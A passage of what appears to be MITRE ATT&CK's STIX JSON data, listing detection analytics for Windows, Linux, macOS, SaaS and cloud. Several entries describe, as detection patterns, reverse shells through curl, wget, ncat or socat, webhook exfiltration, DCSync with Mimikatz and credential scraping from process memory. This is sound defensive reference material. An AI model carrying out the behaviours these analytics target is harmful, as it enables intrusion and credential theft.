            "description": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nConsider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
                    "name": "Malware Repository",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--97cb8df9-f100-4a64-802a-1aa2f45c26eb",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0543",
                    "external_id": "AN0543"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0543",
            "description": "Detects registry and Group Policy modifications that disable or weaken MFA, suspicious PowerShell usage modifying MFA-related attributes, and anomalous login sessions succeeding without expected MFA challenge.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4739"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "WinEventLog:PowerShell",
                    "channel": "Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WatchedAttributes",
                    "description": "List of AD attributes or policy fields tied to MFA enforcement that may vary by organization."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between MFA policy changes and anomalous login behavior."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--97ec7ade-18b7-43b7-b267-85470862b6ac",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0846#AN1978",
                    "external_id": "AN1978"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1978",
            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--97f27df6-5041-437b-9aeb-58a9bc33a376",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0496#AN1368",
                    "external_id": "AN1368"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1368",
            "description": "Electron/GUI or headless RAT execution followed by LaunchAgent/Daemon persistence and persistent external connections; interactive children (osascript/sh/curl) spawned by parent.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Process exec of remote-control apps or binaries with headless/connect flags"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:osquery",
                    "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:osquery",
                    "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedAppBundlePaths",
                    "description": "Legitimate remote-support apps under /Applications."
                },
                {
                    "field": "LaunchdAllowlist",
                    "description": "Known-good LaunchAgents/Daemons identifiers."
                },
                {
                    "field": "TimeWindow",
                    "description": "Window for correlating exec\u2192launchd\u2192egress events."
                },
                {
                    "field": "EgressHeuristics",
                    "description": "Duration/volume thresholds for persistent sessions."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--982100e1-6d38-4d0e-b36d-7e2d2cf5a424",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0028",
                    "external_id": "AN0028"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0028",
            "description": "Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "m365:unified",
                    "channel": "Creation of Power Automate flow triggered by OneDrive or Exchange event"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:unified",
                    "channel": "Automated forwarding or file sync initiated by a logic app"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TriggerCondition",
                    "description": "Event types that initiate SaaS automation (e.g., file add, new email)"
                },
                {
                    "field": "AppIdentityScope",
                    "description": "Scopes/permissions granted to automation app accounts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--983e1849-6af7-491e-9605-46b9bf54bbd1",
            "created": "2026-04-16T16:31:03.795Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0899#AN2035",
                    "external_id": "AN2035"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T16:30:18.380Z",
            "name": "Analytic 2035",
            "description": "Detects user execution of newly received content or instructions shortly after external communication, including script launches, Office child process spawning, browser-to-script execution chains, or credential prompts followed by new logon sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "EmailToExecutionWindow",
                    "description": "Time between message delivery and process launch"
                },
                {
                    "field": "OfficeChildProcessAllowlist",
                    "description": "Approved Office child process patterns"
                },
                {
                    "field": "NewLogonWindow",
                    "description": "Time after credential prompt to monitor new sessions"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--985e0098-b77c-4099-a262-5f195b654187",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0878#AN2010",
                    "external_id": "AN2010"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2010",
            "description": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites,  <code> Mirrored from (victim URL)</code> may be visible in the HTML section of packets. ",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application Log",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--989a524f-cf9a-4fcc-a21f-ac5aac46f0ed",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1226",
                    "external_id": "AN1226"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1226",
            "description": "Detects suspicious curl, wget, or custom socket traffic that leverages DNS, HTTPS, or IRC-style protocols with unbalanced traffic or beacon-like intervals.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "dns, ssl, conn"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "KnownPortsToMonitor",
                    "description": "Uncommon ports for HTTPS, IRC, DNS (e.g., 8443, 5353)"
                },
                {
                    "field": "BeaconTimingThreshold",
                    "description": "Detect intervals of outbound traffic within fixed timeframes"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--98b71f96-ae0a-47b4-bec2-156cb6e5bfcb",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0593#AN1631",
                    "external_id": "AN1631"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1631",
            "description": "Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open, read"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace or process_vm_readv"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccessedFilePath",
                    "description": "Monitored paths such as /proc/[pid]/mem or /proc/[pid]/maps may need to be scoped based on environment"
                },
                {
                    "field": "ProcessName",
                    "description": "Command-line or binary names associated with credential scraping tools may vary"
                },
                {
                    "field": "UserContext",
                    "description": "Elevated user or unexpected user context accessing other process memory may indicate malicious activity"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlating memory access with process creation or ptrace activity within a specific time range"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--98bd8e15-68ea-43a3-982b-66fcd1142c9a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0436",
                    "external_id": "AN0436"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0436",
            "description": "Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WebhookDomains",
                    "description": "Domains to monitor such as discord.com/api/webhooks, slack.com/api, webhook.site."
                },
                {
                    "field": "UploadSizeThreshold",
                    "description": "Threshold for abnormal data sent via webhook requests."
                },
                {
                    "field": "ApprovedApps",
                    "description": "List of approved business apps using webhooks to reduce noise."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--98ce32fb-1b91-4487-9e5a-951375f2380e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0333#AN0945",
                    "external_id": "AN0945"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0945",
            "description": "Detects user or root invocation of `at` command to schedule a job, followed by job execution using LaunchServices and activity in /usr/lib/cron/at.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "process: at, job runner"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:fsusage",
                    "channel": "file access to /usr/lib/cron/at and job execution path"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AtPermissions",
                    "description": "Whether `at.allow` and `at.deny` are properly configured."
                },
                {
                    "field": "ExecutionCommand",
                    "description": "Target binary executed via the at job."
                },
                {
                    "field": "RunUser",
                    "description": "Detection of root user scheduling job with unusual command."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--98d733c2-370b-4cd0-8ec6-226a1ca19604",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0162#AN0462",
                    "external_id": "AN0462"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0462",
            "description": "Adversary installs/uses packet-capture or raw-socket capability (WinPcap/Npcap, wpcap/packet DLLs or raw socket attach) and sets a filter. A crafted inbound packet is observed; within a short window the host process that loaded capture libraries initiates an outbound connection (e.g., reverse shell) to the packet origin.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "field": "CaptureLibIndicators",
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                    "description": "Signed/expected processes allowed to install/start Npcap (software distribution tools)."
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                    "field": "ReversePorts",
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            "description": "Non-standard or rare users/locations issue CLI commands like \"show clock detail\" or \"show timezone\"; optionally followed by configuration of time/timezone or NTP sources. AAA/TACACS+ accounting and syslog correlate execution to identity, source IP, and privilege level.",
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                    "description": "Only alert on access from outside the NOC/management subnets."
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                {
                    "field": "KnownMaintenanceUsers",
                    "description": "Whitelist known automation/orchestration accounts."
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                    "field": "TimeWindow",
                    "description": "Correlation window between time query and config change."
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            "x_mitre_deprecated": false,
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                    "description": "Adjust for known benign but high-risk infrastructure (e.g., hosting providers like DigitalOcean, OVH, etc.)."
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                {
                    "field": "ParentProcess",
                    "description": "Detect suspicious lineage\u2014proxy tools launched from script interpreters or LOLBins."
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                {
                    "field": "EntropyThreshold",
                    "description": "Tune based on expected randomness in outbound request payloads."
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                    "field": "TargetPaths",
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                    "description": "Processes spawned by browsers or svg-viewing apps that invoke interpreters"
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                {
                    "field": "NetworkDestinations",
                    "description": "URLs/IPs contacted post-SVG access \u2013 may reflect initial C2"
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            "name": "Analytic 0923",
            "description": "`curl`, `wget`, `ncat`, `socat`, or custom binaries initiate outbound traffic to Internet-based proxies (e.g., via VPS or CDN). Behavior may include reverse shell constructs or persistent outbound beacons.",
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                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "conn.log or http.log"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "alert log"
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            ],
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                {
                    "field": "CommandLinePattern",
                    "description": "Regex or command substring matches indicative of dynamic proxy setup."
                },
                {
                    "field": "ExternalIPList",
                    "description": "Tunable list of IPs or ASNs related to known proxy/VPS abuse."
                },
                {
                    "field": "UserContext",
                    "description": "Unexpected users running networking tools (e.g., www-data, apache)."
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            "x_mitre_deprecated": false
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            "name": "Analytic 0483",
            "description": "Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses.",
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                    "channel": "Web console logins using session cookies without corresponding MFA event"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "AWS:CloudTrail",
                    "channel": "GetSessionToken, AssumeRoleWithWebIdentity"
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            ],
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                {
                    "field": "GeoVelocityThreshold",
                    "description": "Flag logins from geographically distant locations in a short timeframe."
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                {
                    "field": "AuthorizedCookieIssuers",
                    "description": "Expected systems and services that may legitimately mint session cookies."
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            ],
            "x_mitre_deprecated": false
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            "description": "Detects command-line or API-based creation/modification of Windows Services via `sc.exe`, `powershell.exe`, `services.exe`, or `ChangeServiceConfig`. Looks for creation/modification of autostart services via registry changes, file drops to `System32\\services`, and anomalous parent-child process trees.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
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                    "channel": "EventCode=4697"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                    "field": "ParentProcessFilter",
                    "description": "List of non-administrative processes starting service management tools"
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                {
                    "field": "RegistryPathList",
                    "description": "Monitored autorun locations (e.g., `HKLM\\System\\CurrentControlSet\\Services`)"
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            "description": "Detects unauthorized invocation of replication operations (DCSync) via Directory Replication Service (DRS), often executed by threat actors using Mimikatz or similar tools from non-DC endpoints.",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "name": "WinEventLog:Security",
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4929"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Content",
                    "channel": "Traffic on RPC DRSUAPI"
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                {
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                    "description": "Defines the correlation window for unusual account access followed by DRSUAPI traffic."
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                {
                    "field": "UserContext",
                    "description": "Allows tuning for specific accounts known to legitimately request replication."
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                    "description": "Expected replication should only come from known DCs; this field allows excluding trusted DCs."
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            "name": "Analytic 1576",
            "description": "Detects creation or modification of `systemd` service units, addition of cron jobs that invoke binaries on boot, or suspicious writes to `/etc/init.d/`. Monitors `chmod +x` and `systemctl` execution paths, especially from non-root parent processes.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "channel": "write or rename to /etc/systemd/system or /etc/init.d"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
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                {
                    "field": "ServicePathRegex",
                    "description": "Path-based filters to identify service unit files or init scripts"
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                {
                    "field": "UserContextList",
                    "description": "List of expected user contexts that normally perform service changes"
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                {
                    "field": "CommandNameList",
                    "description": "Binaries used to register/modify services"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1412",
